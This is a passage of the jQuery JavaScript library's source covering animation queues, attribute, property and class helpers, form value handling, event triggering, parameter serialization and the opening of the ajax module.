opt.queue === true ) { opt.queue = "fx"; } // Queueing opt.old = opt.complete; opt.complete = function() { if ( isFunction( opt.old ) ) { opt.old.call( this ); } if ( opt.queue ) { jQuery.dequeue( this, opt.queue ); } }; return opt; }; jQuery.fn.extend( { fadeTo: function( speed, to, easing, callback ) { // Show any hidden elements after setting opacity to 0 return this.filter( isHiddenWithinTree ).css( "opacity", 0 ).show() // Animate to the value specified .end().animate( { opacity: to }, speed, easing, callback ); }, animate: function( prop, speed, easing, callback ) { var empty = jQuery.isEmptyObject( prop ), optall = jQuery.speed( speed, easing, callback ), doAnimation = function() { // Operate on a copy of prop so per-property easing won't be lost var anim = Animation( this, jQuery.extend( {}, prop ), optall ); // Empty animations, or finishing resolves immediately if ( empty || dataPriv.get( this, "finish" ) ) { anim.stop( true ); } }; doAnimation.finish = doAnimation; return empty || optall.queue === false ? this.each( doAnimation ) : this.queue( optall.queue, doAnimation ); }, stop: function( type, clearQueue, gotoEnd ) { var stopQueue = function( hooks ) { var stop = hooks.stop; delete hooks.stop; stop( gotoEnd ); }; if ( typeof type !== "string" ) { gotoEnd = clearQueue; clearQueue = type; type = undefined; } if ( clearQueue ) { this.queue( type || "fx", [] ); } return this.each( function() { var dequeue = true, index = type != null && type + "queueHooks", timers = jQuery.timers, data = dataPriv.get( this ); if ( index ) { if ( data[ index ] && data[ index ].stop ) { stopQueue( data[ index ] ); } } else { for ( index in data ) { if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) { stopQueue( data[ index ] ); } } } for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && ( type == null || timers[ index ].queue === type ) ) { timers[ index ].anim.stop( gotoEnd ); dequeue = false; timers.splice( index, 1 ); } } // Start the next in the queue if the last step wasn't forced. // Timers currently will call their complete callbacks, which // will dequeue but only if they were gotoEnd. if ( dequeue || !gotoEnd ) { jQuery.dequeue( this, type ); } } ); }, finish: function( type ) { if ( type !== false ) { type = type || "fx"; } return this.each( function() { var index, data = dataPriv.get( this ), queue = data[ type + "queue" ], hooks = data[ type + "queueHooks" ], timers = jQuery.timers, length = queue ? queue.length : 0; // Enable finishing flag on private data data.finish = true; // Empty the queue first jQuery.queue( this, type, [] ); if ( hooks && hooks.stop ) { hooks.stop.call( this, true ); } // Look for any active animations, and finish them for ( index = timers.length; index--; ) { if ( timers[ index ].elem === this && timers[ index ].queue === type ) { timers[ index ].anim.stop( true ); timers.splice( index, 1 ); } } // Look for any animations in the old queue and finish them for ( index = 0; index < length; index++ ) { if ( queue[ index ] && queue[ index ].finish ) { queue[ index ].finish.call( this ); } } // Turn off finishing flag delete data.finish; } ); } } ); jQuery.each( [ "toggle", "show", "hide" ], function( _i, name ) { var cssFn = jQuery.fn[ name ]; jQuery.fn[ name ] = function( speed, easing, callback ) { return speed == null || typeof speed === "boolean" ? cssFn.apply( this, arguments ) : this.animate( genFx( name, true ), speed, easing, callback ); }; } ); // Generate shortcuts for custom animations jQuery.each( { slideDown: genFx( "show" ), slideUp: genFx( "hide" ), slideToggle: genFx( "toggle" ), fadeIn: { opacity: "show" }, fadeOut: { opacity: "hide" }, fadeToggle: { opacity: "toggle" } }, function( name, props ) { jQuery.fn[ name ] = function( speed, easing, callback ) { return this.animate( props, speed, easing, callback ); }; } ); jQuery.timers = []; jQuery.fx.tick = function() { var timer, i = 0, timers = jQuery.timers; fxNow = Date.now(); for ( ; i < timers.length; i++ ) { timer = timers[ i ]; // Run the timer and safely remove it when done (allowing for external removal) if ( !timer() && timers[ i ] === timer ) { timers.splice( i--, 1 ); } } if ( !timers.length ) { jQuery.fx.stop(); } fxNow = undefined; }; jQuery.fx.timer = function( timer ) { jQuery.timers.push( timer ); jQuery.fx.start(); }; jQuery.fx.interval = 13; jQuery.fx.start = function() { if ( inProgress ) { return; } inProgress = true; schedule(); }; jQuery.fx.stop = function() { inProgress = null; }; jQuery.fx.speeds = { slow: 600, fast: 200, // Default speed _default: 400 }; // Based off of the plugin by Clint Helfers, with permission. jQuery.fn.delay = function( time, type ) { time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time; type = type || "fx"; return this.queue( type, function( next, hooks ) { var timeout = window.setTimeout( next, time ); hooks.stop = function() { window.clearTimeout( timeout ); }; } ); }; ( function() { var input = document.createElement( "input" ), select = document.createElement( "select" ), opt = select.appendChild( document.createElement( "option" ) ); input.type = "checkbox"; // Support: Android <=4.3 only // Default value for a checkbox should be "on" support.checkOn = input.value !== ""; // Support: IE <=11 only // Must access selectedIndex to make default options select support.optSelected = opt.selected; // Support: IE <=11 only // An input loses its value after becoming a radio input = document.createElement( "input" ); input.value = "t"; input.type = "radio"; support.radioValue = input.value === "t"; } )(); var boolHook, attrHandle = jQuery.expr.attrHandle; jQuery.fn.extend( { attr: function( name, value ) { return access( this, jQuery.attr, name, value, arguments.length > 1 ); }, removeAttr: function( name ) { return this.each( function() { jQuery.removeAttr( this, name ); } ); } } ); jQuery.extend( { attr: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set attributes on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } // Fallback to prop when attributes are not supported if ( typeof elem.getAttribute === "undefined" ) { return jQuery.prop( elem, name, value ); } // Attribute hooks are determined by the lowercase version // Grab necessary hook if one is defined if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { hooks = jQuery.attrHooks[ name.toLowerCase() ] || ( jQuery.expr.match.bool.test( name ) ? boolHook : undefined ); } if ( value !== undefined ) { if ( value === null ) { jQuery.removeAttr( elem, name ); return; } if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } elem.setAttribute( name, value + "" ); return value; } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } ret = jQuery.find.attr( elem, name ); // Non-existent attributes return null, we normalize to undefined return ret == null ? undefined : ret; }, attrHooks: { type: { set: function( elem, value ) { if ( !support.radioValue && value === "radio" && nodeName( elem, "input" ) ) { var val = elem.value; elem.setAttribute( "type", value ); if ( val ) { elem.value = val; } return value; } } } }, removeAttr: function( elem, value ) { var name, i = 0, // Attribute names can contain non-HTML whitespace characters // https://html.spec.whatwg.org/multipage/syntax.html#attributes-2 attrNames = value && value.match( rnothtmlwhite ); if ( attrNames && elem.nodeType === 1 ) { while ( ( name = attrNames[ i++ ] ) ) { elem.removeAttribute( name ); } } } } ); // Hooks for boolean attributes boolHook = { set: function( elem, value, name ) { if ( value === false ) { // Remove boolean attributes when set to false jQuery.removeAttr( elem, name ); } else { elem.setAttribute( name, name ); } return name; } }; jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( _i, name ) { var getter = attrHandle[ name ] || jQuery.find.attr; attrHandle[ name ] = function( elem, name, isXML ) { var ret, handle, lowercaseName = name.toLowerCase(); if ( !isXML ) { // Avoid an infinite loop by temporarily removing this function from the getter handle = attrHandle[ lowercaseName ]; attrHandle[ lowercaseName ] = ret; ret = getter( elem, name, isXML ) != null ? lowercaseName : null; attrHandle[ lowercaseName ] = handle; } return ret; }; } ); var rfocusable = /^(?:input|select|textarea|button)$/i, rclickable = /^(?:a|area)$/i; jQuery.fn.extend( { prop: function( name, value ) { return access( this, jQuery.prop, name, value, arguments.length > 1 ); }, removeProp: function( name ) { return this.each( function() { delete this[ jQuery.propFix[ name ] || name ]; } ); } } ); jQuery.extend( { prop: function( elem, name, value ) { var ret, hooks, nType = elem.nodeType; // Don't get/set properties on text, comment and attribute nodes if ( nType === 3 || nType === 8 || nType === 2 ) { return; } if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) { // Fix name and attach hooks name = jQuery.propFix[ name ] || name; hooks = jQuery.propHooks[ name ]; } if ( value !== undefined ) { if ( hooks && "set" in hooks && ( ret = hooks.set( elem, value, name ) ) !== undefined ) { return ret; } return ( elem[ name ] = value ); } if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) { return ret; } return elem[ name ]; }, propHooks: { tabIndex: { get: function( elem ) { // Support: IE <=9 - 11 only // elem.tabIndex doesn't always return the // correct value when it hasn't been explicitly set // Use proper attribute retrieval (trac-12072) var tabindex = jQuery.find.attr( elem, "tabindex" ); if ( tabindex ) { return parseInt( tabindex, 10 ); } if ( rfocusable.test( elem.nodeName ) || rclickable.test( elem.nodeName ) && elem.href ) { return 0; } return -1; } } }, propFix: { "for": "htmlFor", "class": "className" } } ); // Support: IE <=11 only // Accessing the selectedIndex property // forces the browser to respect setting selected // on the option // The getter ensures a default option is selected // when in an optgroup // eslint rule "no-unused-expressions" is disabled for this code // since it considers such accessions noop if ( !support.optSelected ) { jQuery.propHooks.selected = { get: function( elem ) { /* eslint no-unused-expressions: "off" */ var parent = elem.parentNode; if ( parent && parent.parentNode ) { parent.parentNode.selectedIndex; } return null; }, set: function( elem ) { /* eslint no-unused-expressions: "off" */ var parent = elem.parentNode; if ( parent ) { parent.selectedIndex; if ( parent.parentNode ) { parent.parentNode.selectedIndex; } } } }; } jQuery.each( [ "tabIndex", "readOnly", "maxLength", "cellSpacing", "cellPadding", "rowSpan", "colSpan", "useMap", "frameBorder", "contentEditable" ], function() { jQuery.propFix[ this.toLowerCase() ] = this; } ); // Strip and collapse whitespace according to HTML spec // https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace function stripAndCollapse( value ) { var tokens = value.match( rnothtmlwhite ) || []; return tokens.join( " " ); } function getClass( elem ) { return elem.getAttribute && elem.getAttribute( "class" ) || ""; } function classesToArray( value ) { if ( Array.isArray( value ) ) { return value; } if ( typeof value === "string" ) { return value.match( rnothtmlwhite ) || []; } return []; } jQuery.fn.extend( { addClass: function( value ) { var classNames, cur, curValue, className, i, finalValue; if ( isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).addClass( value.call( this, j, getClass( this ) ) ); } ); } classNames = classesToArray( value ); if ( classNames.length ) { return this.each( function() { curValue = getClass( this ); cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); if ( cur ) { for ( i = 0; i < classNames.length; i++ ) { className = classNames[ i ]; if ( cur.indexOf( " " + className + " " ) < 0 ) { cur += className + " "; } } // Only assign if different to avoid unneeded rendering. finalValue = stripAndCollapse( cur ); if ( curValue !== finalValue ) { this.setAttribute( "class", finalValue ); } } } ); } return this; }, removeClass: function( value ) { var classNames, cur, curValue, className, i, finalValue; if ( isFunction( value ) ) { return this.each( function( j ) { jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) ); } ); } if ( !arguments.length ) { return this.attr( "class", "" ); } classNames = classesToArray( value ); if ( classNames.length ) { return this.each( function() { curValue = getClass( this ); // This expression is here for better compressibility (see addClass) cur = this.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " ); if ( cur ) { for ( i = 0; i < classNames.length; i++ ) { className = classNames[ i ]; // Remove *all* instances while ( cur.indexOf( " " + className + " " ) > -1 ) { cur = cur.replace( " " + className + " ", " " ); } } // Only assign if different to avoid unneeded rendering. finalValue = stripAndCollapse( cur ); if ( curValue !== finalValue ) { this.setAttribute( "class", finalValue ); } } } ); } return this; }, toggleClass: function( value, stateVal ) { var classNames, className, i, self, type = typeof value, isValidValue = type === "string" || Array.isArray( value ); if ( isFunction( value ) ) { return this.each( function( i ) { jQuery( this ).toggleClass( value.call( this, i, getClass( this ), stateVal ), stateVal ); } ); } if ( typeof stateVal === "boolean" && isValidValue ) { return stateVal ? this.addClass( value ) : this.removeClass( value ); } classNames = classesToArray( value ); return this.each( function() { if ( isValidValue ) { // Toggle individual class names self = jQuery( this ); for ( i = 0; i < classNames.length; i++ ) { className = classNames[ i ]; // Check each className given, space separated list if ( self.hasClass( className ) ) { self.removeClass( className ); } else { self.addClass( className ); } } // Toggle whole class name } else if ( value === undefined || type === "boolean" ) { className = getClass( this ); if ( className ) { // Store className if set dataPriv.set( this, "__className__", className ); } // If the element has a class name or if we're passed `false`, // then remove the whole classname (if there was one, the above saved it). // Otherwise bring back whatever was previously saved (if anything), // falling back to the empty string if nothing was stored. if ( this.setAttribute ) { this.setAttribute( "class", className || value === false ? "" : dataPriv.get( this, "__className__" ) || "" ); } } } ); }, hasClass: function( selector ) { var className, elem, i = 0; className = " " + selector + " "; while ( ( elem = this[ i++ ] ) ) { if ( elem.nodeType === 1 && ( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) { return true; } } return false; } } ); var rreturn = /\r/g; jQuery.fn.extend( { val: function( value ) { var hooks, ret, valueIsFunction, elem = this[ 0 ]; if ( !arguments.length ) { if ( elem ) { hooks = jQuery.valHooks[ elem.type ] || jQuery.valHooks[ elem.nodeName.toLowerCase() ]; if ( hooks && "get" in hooks && ( ret = hooks.get( elem, "value" ) ) !== undefined ) { return ret; } ret = elem.value; // Handle most common string cases if ( typeof ret === "string" ) { return ret.replace( rreturn, "" ); } // Handle cases where value is null/undef or number return ret == null ? "" : ret; } return; } valueIsFunction = isFunction( value ); return this.each( function( i ) { var val; if ( this.nodeType !== 1 ) { return; } if ( valueIsFunction ) { val = value.call( this, i, jQuery( this ).val() ); } else { val = value; } // Treat null/undefined as ""; convert numbers to string if ( val == null ) { val = ""; } else if ( typeof val === "number" ) { val += ""; } else if ( Array.isArray( val ) ) { val = jQuery.map( val, function( value ) { return value == null ? "" : value + ""; } ); } hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ]; // If set returns undefined, fall back to normal setting if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) { this.value = val; } } ); } } ); jQuery.extend( { valHooks: { option: { get: function( elem ) { var val = jQuery.find.attr( elem, "value" ); return val != null ? val : // Support: IE <=10 - 11 only // option.text throws exceptions (trac-14686, trac-14858) // Strip and collapse whitespace // https://html.spec.whatwg.org/#strip-and-collapse-whitespace stripAndCollapse( jQuery.text( elem ) ); } }, select: { get: function( elem ) { var value, option, i, options = elem.options, index = elem.selectedIndex, one = elem.type === "select-one", values = one ? null : [], max = one ? index + 1 : options.length; if ( index < 0 ) { i = max; } else { i = one ? index : 0; } // Loop through all the selected options for ( ; i < max; i++ ) { option = options[ i ]; // Support: IE <=9 only // IE8-9 doesn't update selected after form reset (trac-2551) if ( ( option.selected || i === index ) && // Don't return options that are disabled or in a disabled optgroup !option.disabled && ( !option.parentNode.disabled || !nodeName( option.parentNode, "optgroup" ) ) ) { // Get the specific value for the option value = jQuery( option ).val(); // We don't need an array for one selects if ( one ) { return value; } // Multi-Selects return an array values.push( value ); } } return values; }, set: function( elem, value ) { var optionSet, option, options = elem.options, values = jQuery.makeArray( value ), i = options.length; while ( i-- ) { option = options[ i ]; /* eslint-disable no-cond-assign */ if ( option.selected = jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1 ) { optionSet = true; } /* eslint-enable no-cond-assign */ } // Force browsers to behave consistently when non-matching value is set if ( !optionSet ) { elem.selectedIndex = -1; } return values; } } } } ); // Radios and checkboxes getter/setter jQuery.each( [ "radio", "checkbox" ], function() { jQuery.valHooks[ this ] = { set: function( elem, value ) { if ( Array.isArray( value ) ) { return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 ); } } }; if ( !support.checkOn ) { jQuery.valHooks[ this ].get = function( elem ) { return elem.getAttribute( "value" ) === null ? "on" : elem.value; }; } } ); // Return jQuery for attributes-only inclusion var location = window.location; var nonce = { guid: Date.now() }; var rquery = ( /\?/ ); // Cross-browser xml parsing jQuery.parseXML = function( data ) { var xml, parserErrorElem; if ( !data || typeof data !== "string" ) { return null; } // Support: IE 9 - 11 only // IE throws on parseFromString with invalid input. try { xml = ( new window.DOMParser() ).parseFromString( data, "text/xml" ); } catch ( e ) {} parserErrorElem = xml && xml.getElementsByTagName( "parsererror" )[ 0 ]; if ( !xml || parserErrorElem ) { jQuery.error( "Invalid XML: " + ( parserErrorElem ? jQuery.map( parserErrorElem.childNodes, function( el ) { return el.textContent; } ).join( "\n" ) : data ) ); } return xml; }; var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/, stopPropagationCallback = function( e ) { e.stopPropagation(); }; jQuery.extend( jQuery.event, { trigger: function( event, data, elem, onlyHandlers ) { var i, cur, tmp, bubbleType, ontype, handle, special, lastElement, eventPath = [ elem || document ], type = hasOwn.call( event, "type" ) ? event.type : event, namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : []; cur = lastElement = tmp = elem = elem || document; // Don't do events on text and comment nodes if ( elem.nodeType === 3 || elem.nodeType === 8 ) { return; } // focus/blur morphs to focusin/out; ensure we're not firing them right now if ( rfocusMorph.test( type + jQuery.event.triggered ) ) { return; } if ( type.indexOf( "." ) > -1 ) { // Namespaced trigger; create a regexp to match event type in handle() namespaces = type.split( "." ); type = namespaces.shift(); namespaces.sort(); } ontype = type.indexOf( ":" ) < 0 && "on" + type; // Caller can pass in a jQuery.Event object, Object, or just an event type string event = event[ jQuery.expando ] ? event : new jQuery.Event( type, typeof event === "object" && event ); // Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true) event.isTrigger = onlyHandlers ? 2 : 3; event.namespace = namespaces.join( "." ); event.rnamespace = event.namespace ? new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) : null; // Clean up the event in case it is being reused event.result = undefined; if ( !event.target ) { event.target = elem; } // Clone any incoming data and prepend the event, creating the handler arg list data = data == null ? [ event ] : jQuery.makeArray( data, [ event ] ); // Allow special events to draw outside the lines special = jQuery.event.special[ type ] || {}; if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) { return; } // Determine event propagation path in advance, per W3C events spec (trac-9951) // Bubble up to document, then to window; watch for a global ownerDocument var (trac-9724) if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) { bubbleType = special.delegateType || type; if ( !rfocusMorph.test( bubbleType + type ) ) { cur = cur.parentNode; } for ( ; cur; cur = cur.parentNode ) { eventPath.push( cur ); tmp = cur; } // Only add window if we got to document (e.g., not plain obj or detached DOM) if ( tmp === ( elem.ownerDocument || document ) ) { eventPath.push( tmp.defaultView || tmp.parentWindow || window ); } } // Fire handlers on the event path i = 0; while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) { lastElement = cur; event.type = i > 1 ? bubbleType : special.bindType || type; // jQuery handler handle = ( dataPriv.get( cur, "events" ) || Object.create( null ) )[ event.type ] && dataPriv.get( cur, "handle" ); if ( handle ) { handle.apply( cur, data ); } // Native handler handle = ontype && cur[ ontype ]; if ( handle && handle.apply && acceptData( cur ) ) { event.result = handle.apply( cur, data ); if ( event.result === false ) { event.preventDefault(); } } } event.type = type; // If nobody prevented the default action, do it now if ( !onlyHandlers && !event.isDefaultPrevented() ) { if ( ( !special._default || special._default.apply( eventPath.pop(), data ) === false ) && acceptData( elem ) ) { // Call a native DOM method on the target with the same name as the event. // Don't do default actions on window, that's where global variables be (trac-6170) if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) { // Don't re-trigger an onFOO event when we call its FOO() method tmp = elem[ ontype ]; if ( tmp ) { elem[ ontype ] = null; } // Prevent re-triggering of the same event, since we already bubbled it above jQuery.event.triggered = type; if ( event.isPropagationStopped() ) { lastElement.addEventListener( type, stopPropagationCallback ); } elem[ type ](); if ( event.isPropagationStopped() ) { lastElement.removeEventListener( type, stopPropagationCallback ); } jQuery.event.triggered = undefined; if ( tmp ) { elem[ ontype ] = tmp; } } } } return event.result; }, // Piggyback on a donor event to simulate a different one // Used only for `focus(in | out)` events simulate: function( type, elem, event ) { var e = jQuery.extend( new jQuery.Event(), event, { type: type, isSimulated: true } ); jQuery.event.trigger( e, null, elem ); } } ); jQuery.fn.extend( { trigger: function( type, data ) { return this.each( function() { jQuery.event.trigger( type, data, this ); } ); }, triggerHandler: function( type, data ) { var elem = this[ 0 ]; if ( elem ) { return jQuery.event.trigger( type, data, elem, true ); } } } ); var rbracket = /\[\]$/, rCRLF = /\r?\n/g, rsubmitterTypes = /^(?:submit|button|image|reset|file)$/i, rsubmittable = /^(?:input|select|textarea|keygen)/i; function buildParams( prefix, obj, traditional, add ) { var name; if ( Array.isArray( obj ) ) { // Serialize array item. jQuery.each( obj, function( i, v ) { if ( traditional || rbracket.test( prefix ) ) { // Treat each array item as a scalar. add( prefix, v ); } else { // Item is non-scalar (array or object), encode its numeric index. buildParams( prefix + "[" + ( typeof v === "object" && v != null ? i : "" ) + "]", v, traditional, add ); } } ); } else if ( !traditional && toType( obj ) === "object" ) { // Serialize object item. for ( name in obj ) { buildParams( prefix + "[" + name + "]", obj[ name ], traditional, add ); } } else { // Serialize scalar item. add( prefix, obj ); } } // Serialize an array of form elements or a set of // key/values into a query string jQuery.param = function( a, traditional ) { var prefix, s = [], add = function( key, valueOrFunction ) { // If value is a function, invoke it and use its return value var value = isFunction( valueOrFunction ) ? valueOrFunction() : valueOrFunction; s[ s.length ] = encodeURIComponent( key ) + "=" + encodeURIComponent( value == null ? "" : value ); }; if ( a == null ) { return ""; } // If an array was passed in, assume that it is an array of form elements. if ( Array.isArray( a ) || ( a.jquery && !jQuery.isPlainObject( a ) ) ) { // Serialize the form elements jQuery.each( a, function() { add( this.name, this.value ); } ); } else { // If traditional, encode the "old" way (the way 1.3.2 or older // did it), otherwise encode params recursively. for ( prefix in a ) { buildParams( prefix, a[ prefix ], traditional, add ); } } // Return the resulting serialization return s.join( "&" ); }; jQuery.fn.extend( { serialize: function() { return jQuery.param( this.serializeArray() ); }, serializeArray: function() { return this.map( function() { // Can add propHook for "elements" to filter or add form elements var elements = jQuery.prop( this, "elements" ); return elements ? jQuery.makeArray( elements ) : this; } ).filter( function() { var type = this.type; // Use .is( ":disabled" ) so that fieldset[disabled] works return this.name && !jQuery( this ).is( ":disabled" ) && rsubmittable.test( this.nodeName ) && !rsubmitterTypes.test( type ) && ( this.checked || !rcheckableType.test( type ) ); } ).map( function( _i, elem ) { var val = jQuery( this ).val(); if ( val == null ) { return null; } if ( Array.isArray( val ) ) { return jQuery.map( val, function( val ) { return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ); } return { name: elem.name, value: val.replace( rCRLF, "\r\n" ) }; } ).get(); } } ); var r20 = /%20/g, rhash = /#.*$/, rantiCache = /([?&])_=[^&]*/, rheaders = /^(.*?):[ \t]*([^\r\n]*)$/mg, // trac-7653, trac-8125, trac-8152: local protocol detection rlocalProtocol = /^(?:about|app|app-storage|.+-extension|file|res|widget):$/, rnoContent = /^(?:GET|HEAD)$/, rprotocol = /^\/\//, /* Prefilters * 1) They are useful to introduce custom dataTypes (see ajax/jsonp.js for an example) * 2) These are called: * - BEFORE asking for a transport * - AFTER param serialization (s.data is a string if s.processData is true) * 3) key is the dataType * 4) the catchall symbol "*" can be used * 5) execution will start with transport dataType and THEN continue down to "*" if needed */ prefilters = {}, /* Transports bindings * 1) key is the dataType * 2) the catchall symbol "*" can be used * 3) selection will start with transport dataType and THEN go to "*" if needed */ transports = {}, // Avoid comment-prolog char sequence (trac-10098); must appease lint and evade compression allTypes = "*/".concat( "*" ), // Anchor tag for parsing the document origin originAnchor = document.createElement( "a" ); originAnchor.href = location.href; // Base "constructor" for jQuery.ajaxPrefilter and jQuery.ajaxTransport function addToPrefiltersOrTransports( structure ) { // dataTypeExpression is optional and defaults to "*" return function( dataTypeExpression, func ) { if ( typeof dataTypeExpression !== "string" ) { func = dataTypeExpression; dataTypeExpression = "*"; } var dataType, i = 0, dataTypes = dataTypeExpression.toLowerCase().match( rnothtmlwhite ) || []; if ( isFunction( func ) ) { // For each dataType in the dataTypeExpression while ( ( dataType = dataTypes[ i++ ] ) ) { // Prepend if requested if ( dataType[ 0 ] === "+" ) { dataType = dataType.slice( 1 ) || "*"; ( structure[ dataType ] = structure[ dataType ] || [] ).unshift( func ); // Otherwise append } else { ( structure[ dataType ] = structure[ dataType ] || [] ).push( func ); } } } }; } // Base inspection function for prefilters and transports function inspectPrefiltersOrTransports( structure, options, originalOptions, jqXHR ) { var inspected = {}, seekingTransport = ( structure === transports ); function inspect( dataType ) { var selected; inspected[ dataType ] = true; jQuery.each( structure[ dataType ] || [], function( _, prefilterOrFactory ) { var dataTypeOrTransport = prefilterOrFactory( options, originalOptions, jqXHR ); if ( typeof dataTypeOrTransport === "string" && !seekingTransport && !inspected[ dataTypeOrTransport ] ) { options.dataTypes.unshift( dataTypeOrTransport ); inspect( dataTypeOrTransport ); return false; } else if ( seekingTransport ) { return !( selected = dataTypeOrTransport ); } } ); return selected; } return inspect( options.dataTypes[ 0 ] ) || !inspected[ "*" ] && inspect( "*" ); } // A special extend for ajax options // that takes "flat" options (not to be deep extended) // Fixes trac-9887 function ajaxExtend( target, src ) { var key, deep, flatOptions = jQuery.ajaxSettings.flatOptions || {}; for ( key in src ) { if ( src[ key ] !== undefined ) { ( flatOptions[ key ] ? target : ( deep || ( deep = {} ) ) )[ key ] = src[ key ]; } } if ( deep ) { jQuery.extend( true, target, deep ); } return target; } /* Handles responses to an ajax request: * - finds the right dataType (mediates between content-type and expected dataType) * - returns the corresponding response */ function ajaxHandleResponses( s, jqXHR, responses ) { var ct, type, finalDataType, firstDataType, contents = s.contents, dataTypes = s.dataTypes; // Remove auto dataType and get content-type in the process while ( dataTypes[ 0 ] === "*" ) { dataTypes.shift(); if ( ct === undefined ) { ct = s.mimeType || jqXHR.getResponseHeader( "Content-Type" ); } } // Check if we're dealing with a known content-type if ( ct ) { for ( type in contents ) { if ( contents[ type ] && contents[ type ].test( ct ) ) { dataTypes.unshift( type ); break; } } } // Check to see if we have a response for the expected dataType if ( dataTypes[ 0 ] in responses ) { finalDataType = dataTypes[ 0 ]; } else { // Try convertible dataTypes for ( type in responses ) { if ( !dataTypes[ 0 ] || s.converters[ type + " " + dataTypes[ 0 ] ] ) { finalDataType = type; break; } if ( !firstDataType ) { firstDataType = type; } } // Or just use first one finalDataType = finalDataType || firstDataType; } // If we found a dataType // We add the dataType to the list if needed // and return the corresponding response if ( finalDataType ) { if ( finalDataType !== dataTypes[ 0 ] ) { dataTypes.unshift( finalDataType ); } return responses[ finalDataType ]; } } /* Chain conversions given the request and the original response * Also sets the responseXXX fields on the jqXHR instance */ function ajaxConvert( s, response, jqXHR, isSuccess ) { var conv2, current, conv, tmp, prev, converters = {}, // Work with a copy of dataTypes in case we need to modify it for conversion dataTypes = s.dataTypes.slice(); // Create converters map with lowercased keys if ( dataTypes[ 1 ] ) { for ( conv in s.converters ) { converters[ conv.toLowerCase() ] = s.converters[ conv ]; } } current = dataTypes.shift(); // Convert to each sequential dataType while ( current ) { if ( s.responseFields[ current ] ) { jqXHR[ s.responseFields[ current ] ] = response; } // Apply the dataFilter if provided if ( !prev && isSuccess && s.dataFilter ) { response = s.dataFilter( response, s.dataType ); } prev = current; current = dataTypes.shift(); if ( current ) { // There's only work to do if current dataType is non-auto if ( current === "*" ) { current = prev; // Convert response if prev dataType is non-auto and differs from current } else if ( prev !== "*" && prev !== current ) { // Seek a direct converter conv = converters[ prev + " " + current ] || converters[ "* " + current ]; // If none found, seek a pair if ( !conv ) { for ( conv2 in converters ) { // If conv2 outputs current tmp = conv2.split( " " ); if ( tmp[ 1 ] === current ) { // If prev can be converted to accepted input conv = converters[ prev + " " + tmp[ 0 ] ] || converters[ "* " + tmp[ 0 ] ]; if ( conv ) { // Condense equivalence converters if ( conv === true ) { conv = converters[ conv2 ]; // Otherwise, insert the intermediate dataType } else if ( converters[ conv2 ] !== true ) { current = tmp[ 0 ]; dataTypes.unshift( tmp[ 1 ] ); } break; } } } } // Apply converter (if not an equivalence) if ( conv !== true ) { // Unless errors are allowed to bubble, catch and return them if ( conv && s.throws ) { response = conv( response ); } else { try { response = conv( response ); } catch ( e ) { return { state: "parsererror", error: conv ? e : "No conversion from " + prev + " to " + current }; } } } } } } return { state: "success", data: response }; } jQuery.extend( { // Counter for holding the number of active queries active: 0, // Last-Modified header cache for next request lastModified: {}, etag: {}, ajaxSettings: { url: location.href, type: "GET", isLocal: rlocalProtocol.test( location.protocol ), global: true, processData: true, async: true, contentType: "application/x-www-form-urlencoded; charset=UTF-8", /* timeout: 0, data: null, dataType: null, username: null, password: null, cache: null, throws: false, traditional: false, headers: {}, */ accepts: { "*": allTypes, text: "text/plain", html: "text/html", xml: "application/xml, text/xml", json: "application/json, text/javascript" }, contents: { xml: /\bxml\b/, html: /\bhtml/, json: /\bjson\b/ }, responseFields: { xml: "responseXML", text: "responseText", json: "responseJSON" }, // Data converters // Keys separate source (or catchall "*") and destination types with a single space converters: { // Convert anything to text "* text": String, // Text to html (true = no transformation) "text html": true, // Evaluate text as a json expression "text json": JSON.parse, // Parse text as xml "text xml": jQuery.parseXML }, // For options that shouldn't be deep extended: // you can add your own custom options here if // and when you create one that shouldn't be // deep extended (see ajaxExtend) flatOptions: { url: true, context: true } }, // Creates a full fledged settings object into target // with both ajaxSettings and settings fields. // If target is omitted, writes into ajaxSettings. ajaxSetup: function( target, settings ) { return settings ? // Building a settings object ajaxExtend( ajaxExtend( target, jQuery.ajaxSettings ), settings ) : // Extending ajaxSettings ajaxExtend( jQuery.ajaxSettings, target ); }, ajaxPrefilter: addToPrefiltersOrTransports( prefilters ), ajaxTransport: addToPrefiltersOrTransports( transports ), // Main method ajax: function( url, options ) { // If url is an object, simulate pre-1.5 signature if ( typeof url === "object" ) { options = url; url = undefined; } // Force options to be an object options = options || {}; var transport, // URL without anti-cache param cacheURL, // Response headers responseHeadersString, responseHeaders, // timeout handle timeoutTimer, // Url cleanup var urlAnchor, // Request state (becomes false upon send and true upon completion) completed, // To know if global events are to be dispatched fireGlobals, // Loop variable i, // uncached part of the url uncached, // Create the final options object s = jQuery.ajaxSetup( {}, options ), // Callbacks context callbackContext = s.context || s, // Context for global events is callbackContext if 